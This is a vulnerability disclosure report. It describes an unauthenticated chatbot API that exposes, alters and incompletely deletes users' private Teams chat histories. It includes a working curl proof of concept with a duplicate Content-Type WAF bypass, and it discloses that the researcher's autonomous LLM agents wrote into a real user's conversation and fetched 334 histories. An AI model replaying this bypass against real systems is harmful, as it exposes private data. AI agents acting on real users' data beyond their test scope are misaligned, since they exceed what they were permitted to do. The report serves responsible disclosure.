Essity · Report #4020767
Unauthenticated API allows reading, writing to and deleting any user's private chat history on ████████
How it was found
Summary
████████ hosts ████████, an internal Microsoft Teams chatbot that answers questions from a retrieval-augmented knowledge base backed by Azure OpenAI. Alongside the Teams integration, the application exposes an HTTP API that has no authentication of any kind on its data routes.
An unauthenticated attacker on the internet can list every conversation, read the complete message history of any conversation, create conversations and drive the LLM backend, and delete any conversation. The same API is exposed on the development instance, ████████.
Note: the last section of this report contains a disclosure of an unintended overstep I made while conducting this research.
Root cause
The application's full API surface is seven routes, the Teams entry point is correctly authenticated while every data route beside it is open:
| route | methods | authentication |
|---|---|---|
/api/messages (Bot Framework webhook) | POST | enforced — 401 Missing Authorization header from Bot Service |
/api/sessions | GET | none |
/api/sessions/{session_id} | DELETE | none |
/api/sessions/{session_id}/history | GET | none |
/api/chat | POST | WAF rule only — bypassed below |
/api/feedback | POST | none |
/api/health | GET | none |
An Azure Application Gateway WAF rule blocks JSON request bodies containing the key session_id, which would otherwise prevent the write path. The rule is bypassed by sending two Content-Type headers: the WAF evaluates the last (text/plain, so it skips JSON body inspection) while the FastAPI backend evaluates the first (application/json, so it parses the body as JSON). The read and delete paths require no bypass at all.
Impact
Disclosure of every conversation. GET /api/sessions returns every session; GET /api/sessions/{id}/history returns the full user and assistant message bodies for any of them.
The conversations are attributable to individual users. The session_id is not an opaque handle — for Teams-originated conversations it is the user's own Microsoft Teams identifier, in the 29: namespace that Teams uses for individual users rather than the 19: namespace used for channels and group chats. Each one is therefore a private 1:1 conversation belonging to one identifiable person, and the listing endpoint hands out those identifiers to unauthenticated requests.
Write access to any conversation. POST /api/chat accepts an arbitrary session_id. Supplying one that already exists appends to that conversation, so an unauthenticated attacker can insert messages into a named employee's private chat history — content the user will see in Teams as part of their own conversation, and which the assistant will respond to in context.
Deletion of any conversation, and incomplete deletion. DELETE /api/sessions/{id} requires no authentication and removes any conversation from the listing. It does not remove the underlying messages: after deletion, GET /api/sessions/{id}/history continues to return the full message bodies to anyone who knows the identifier.
PoC
All requests below are unauthenticated: no credentials, cookies, tokens or headers beyond Content-Type. Verified live on production (████████) on 2026-09-11; the same sequence reproduces identically on ████████.
The demonstration uses a session created for this report (poc-h1-1789092836) so that no existing conversation is read or modified, and a deliberately benign prompt so that no proprietary content is retrieved from the knowledge base.
Step 0 — the WAF rule, and the bypass
POST /api/chat requires a session_id, and the WAF blocks JSON bodies containing that key. Both controls confirm the rule and rule out ordering being incidental:
SID="poc-h1-$(date +%s)"
H="https://████████"
# control 1 — single Content-Type: application/json
curl -sk -o /dev/null -w '%{http_code}\n' -X POST \
-H 'Content-Type: application/json' \
--data-binary "{\"message\":\"hello\",\"session_id\":\"$SID\"}" "$H/api/chat"
# control 2 — duplicate headers in the reverse order
curl -sk -o /dev/null -w '%{http_code}\n' -X POST \
-H 'Content-Type: text/plain' -H 'Content-Type: application/json' \
--data-binary "{\"message\":\"hello\",\"session_id\":\"$SID\"}" "$H/api/chat"
403 <- control 1: blocked by the WAF
403 <- control 2: blocked by the WAF
Sending application/json first and text/plain second passes the WAF (which reads the last value) while FastAPI still parses the body as JSON (it reads the first):
Step 1 — create a conversation and send a message
curl -sk -X POST \
-H 'Content-Type: application/json' -H 'Content-Type: text/plain' \
--data-binary "{\"message\":\"Hello, how are you?\",\"session_id\":\"$SID\"}" \
"$H/api/chat"
HTTP/1.1 200 OK
{"session_id":"poc-h1-1789092836","response":"I couldn't map it to a specific defect in the database.
Can you provide the Defect ID or Defect Description or Machine Section?"}
The LLM backend answered an unauthenticated caller and created the conversation server-side. The prompt is deliberately unrelated to the knowledge base, so the reply contains no Essity content — the point being demonstrated is unauthenticated invocation and session creation, not retrieval.
Step 2 — send a second turn (messages accumulate server-side)
curl -sk -X POST \
-H 'Content-Type: application/json' -H 'Content-Type: text/plain' \
--data-binary "{\"message\":\"Thank you.\",\"session_id\":\"$SID\"}" \
"$H/api/chat"
HTTP/1.1 200 OK
{"session_id":"poc-h1-1789092836","response":"I couldn't map it to a specific defect in the database.
Can you provide the Defect ID or Defect Description or Machine Section?"}
Both turns were written into the same conversation, which now holds four messages (see Step 3) — the caller is building persistent server-side state under an identifier of its own choosing.
Step 3 — the conversation is now visible in the unauthenticated listing
curl -sk "$H/api/sessions"
[
{
"session_id": "poc-h1-1789092836",
"worker_id": "",
"title": "Hello, how are you?",
"created_at": 1789092845.0670464,
"updated_at": 1789092851.05196,
"message_count": 4
}
...
]
This endpoint returns every session on the host in the same array. Those are conversations whose session_id values are Teams user identifiers of the form teams_29:<opaque-id> — i.e. this single unauthenticated request yields the target list for Steps 4 and 5 against any user.
Step 4 — read the full conversation back, unauthenticated
curl -sk "$H/api/sessions/$SID/history"
HTTP/1.1 200 OK
messages: 4
[user] 'Hello, how are you?'
[assistant] "I couldn't map it to a specific defect in the database. Can you provide …"
[user] 'Thank you.'
[assistant] "I couldn't map it to a specific defect in the database. Can you provide …"
Substituting any session_id from Step 3 returns that conversation's complete message history with the same request.
Step 5 — delete the conversation, unauthenticated
curl -sk -o /dev/null -w '%{http_code}\n' -X DELETE "$H/api/sessions/$SID"
curl -sk "$H/api/sessions" | python3 -c "import sys,json;print(len(json.load(sys.stdin)))"
200 <- deletion accepted, no authentication
14 <- session count back to the original 14; the conversation is gone from the listing
Step 5a — the deletion is incomplete
After the session has been removed from the listing, its messages remain retrievable by identifier:
curl -sk "$H/api/sessions/$SID/history"
{"session_id":"poc-h1-1789092836","title":"Conversation","messages":[ … 4 messages still present … ]}
A control confirms this is orphaned data rather than the endpoint answering for anything: an identifier that never existed returns 200 with an empty array.
curl -sk "$H/api/sessions/never-existed-zz9/history"
{"session_id":"never-existed-zz9","title":"Conversation","messages":[]}
So a deleted conversation is removed from its owner's listing while its contents stay readable to anyone holding the identifier, and there is no exposed route that removes the message data — /api/sessions/{id}/history is GET-only, /api/sessions/{id} is DELETE-only, and no PUT, PATCH, or per-message route exists.
Severity Reasoning
CVSS v4.0: 9.3 (Critical) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
| metric | value | reasoning |
|---|---|---|
| Attack Vector | Network (N) | the API is reachable from the public internet |
| Attack Complexity | Low (L) | no exploit mitigation to evade and no target-specific secret to obtain; the Content-Type bypass is generic and deterministic, and the read and delete paths need no bypass at all |
| Attack Requirements | None (N) | no race, no privileged network position, no particular deployment state |
| Privileges Required | None (N) | no credentials, cookies or tokens are involved at any point |
| User Interaction | None (N) | no action by any user is required |
| Vulnerable System Confidentiality | High (H) | every conversation on the host is readable in full, including the user identifier each is tied to |
| Vulnerable System Integrity | High (H) | arbitrary content can be appended to any conversation, and is rendered to the user in Teams as part of their own history |
| Vulnerable System Availability | None (N) | see below |
| Subsequent System (SC/SI/SA) | None (N) | the impact is confined to this application and its conversation store |
Regarding Vulnerable System Availability, even though DELETE /api/sessions/{id} lets an unauthenticated caller remove any conversation from its owner's listing with no route to restore it. The service itself remains available and the messages are not actually destroyed. As Step 5a shows, they persist server-side and stay retrievable by identifier.
Important disclosure (unintended overstep)
This vulnerability, as well as the others I have reported, was found by a team of LLM agents that operated autonomously while under my supervision. While pentesting these endpoints, one of the agents wrote a message into a conversation that it had not created and likely belongs to a real user. The request was sent by my IP address ████████ at 2026-09-11 00:18:05 UTC, into session ████████. The content of the message was “What defect IDs have I asked you about earlier in this conversation?”.
Five earlier attempts were made against that same conversation by other agents in my harness (2026-09-10, between 18:00:54 and 18:08:36 UTC) but these happened before they discovered the firewall bypass and were rejected with 403 or 422.
~12 other messages were sent by the agents, and four more by me while preparing this report, but all of those affected conversations that had been created for testing. Those test conversations have since been deleted, but as shown in Step 5a their messages are still on the server and can only be removed with database access. Their identifiers are: x, rawtest1, repro1, repro2, repro3, inj2, inj3, ct_test_1, ct_verify_test, poc-h1-1789092429 and poc-h1-1789092836 on production, and ct_test_1 on dev. The two poc-h1-* sessions are the ones I created for the PoC in this report.
My agents also fetched 334 conversation histories, 14 on production and 320 on dev. I did not read them, and did not store them.
I apologize for this unintended overstep. I stopped the harness when I noticed it, but the write had already been performed and it cannot be undone through the API.